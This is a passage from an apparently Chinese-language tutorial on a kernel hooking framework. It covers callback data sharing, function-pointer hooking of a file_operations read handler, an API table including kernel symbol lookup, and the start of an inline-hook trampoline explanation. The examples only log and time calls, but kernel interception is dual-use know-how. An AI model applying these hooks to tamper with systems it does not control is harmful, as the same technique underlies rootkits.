normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">回调间数据传递</span></h4><p data-line="195" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">before/after 回调对可通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_local_t</span></code><span leaf=""> 共享数据：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="197" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">before_func</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">hook_fargs4_t</span></span><span leaf=""> *fargs, </span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *udata)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">hook_local_t</span></span><span leaf=""> *local = &amp;fargs-&gt;chain.local;</span><br/><span leaf="">    local-&gt;data0 = ktime_get_ns();  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 记录进入时间戳</span></span><br/><span leaf="">}</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">after_func</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">hook_fargs4_t</span></span><span leaf=""> *fargs, </span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *udata)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">hook_local_t</span></span><span leaf=""> *local = &amp;fargs-&gt;chain.local;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> elapsed = ktime_get_ns() - local-&gt;data0;</span><br/><span leaf="">    logki(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;function took %llu ns&#34;</span></span><span leaf="">, elapsed);</span><br/><span leaf="">}</span></code></pre><p data-line="212" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_local_t</span></code><span leaf=""> 提供 4 个 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">uint64_t</span></code><span leaf=""> 字段（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">data0</span></code><span leaf=""> ~ </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">data3</span></code><span leaf="">），在同一次调用的 before 和 after 之间共享。不同回调槽位的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">local</span></code><span leaf="">相互独立。</span></p><p data-line="214" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如需在回调中手动调用原始函数（较少见），可通过以下接口获取函数指针：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="216" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *orig = wrap_get_origin_func(fargs);    </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// inline hook 场景</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *orig = fp_get_origin_func(fargs);      </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 函数指针 hook 场景</span></span></code></pre><h3 data-line="219" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2.5 函数指针 Hook</span></h3><p data-line="223" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">函数指针 Hook 用于拦截通过函数指针表（如 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">struct file_operations</span></code><span leaf="">）间接调用的函数。与 Inline Hook 不同，它不修改目标函数的代码，而是替换指针本身的值。</span></p><p data-line="225" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">直接替换</span></strong><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="227" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;hook.h&gt;</span></span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> orig_read;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">ssize_t</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">my_read</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> file *filp, </span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> __user *buf,</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> count, </span><span style="color: rgb(163, 21, 21);"><span leaf="">loff_t</span></span><span leaf=""> *pos)</span></span><span leaf="">{</span><br/><span leaf="">    logki(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;read intercepted: count=%zu&#34;</span></span><span leaf="">, count);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> ((typeof(&amp;my_read))orig_read)(filp, buf, count, pos);</span><br/><span leaf="">}</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> __init </span><span style="color: rgb(128, 128, 128);"><span leaf="">example_init</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf="">)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// fp_addr 指向某个 file_operations 结构体的 read 字段</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> **fp_addr = get_target_fops_read_ptr();</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> err = fp_hook(fp_addr, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)my_read, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> **)&amp;orig_read);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> err;</span><br/><span leaf="">}</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> __exit </span><span style="color: rgb(128, 128, 128);"><span leaf="">example_exit</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf="">)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> **fp_addr = get_target_fops_read_ptr();</span><br/><span leaf="">    fp_unhook(fp_addr, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)orig_read);</span><br/><span leaf="">}</span></code></pre><p data-line="254" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">回调链与Inline Hook 类似，但最多支持16个回调：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="256" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">fp_hook_wrap4(fp_addr, before_read, after_read, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ...</span></span><br/><span leaf="">fp_hook_unwrap(fp_addr, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)before_read, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)after_read);</span></code></pre><h3 data-line="260" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2.6 接口一览</span></h3><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">接口</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">功能</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook(func, replace, &amp;backup)</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">替换目标函数</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">unhook(func)</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">还原目标函数</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_wrap(func, argno, before, after, udata, pri)</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">注册回调链</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_unwrap(func, before, after)</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">移除回调</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_wrapN(func, before, after, udata)</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">便捷宏（N=0..12，pri=0）</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fp_hook(fp_addr, replace, &amp;backup)</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">替换函数指针</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fp_unhook(fp_addr, backup)</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">还原函数指针</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fp_hook_wrap(fp_addr, argno, before, after, udata, pri)</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">函数指针回调链</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fp_hook_unwrap(fp_addr, before, after)</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">移除函数指针回调</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fp_hook_wrapN(fp_addr, before, after, udata)</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">便捷宏（N=0..12）</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksyms_lookup(name)</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">查找内核符号地址</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksyms_lookup_cache(name)</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">带缓存的符号查找</span></p></td></tr></tbody></table><h2 data-line="279" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3 Inline Hook 原理</span></h2><p data-line="281" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Inline Hook 的核心思路：覆盖目标函数入口处的若干条指令，替换为跳板指令（trampoline），将控制流引向自定义代码。被覆盖的原始指令经过重定位后保存在另一块内存中，执行完毕后跳回原函数继续运行。</span></p><h3 data-line="283" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3.1 跳板结构</span></h3><p data-line="285" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: 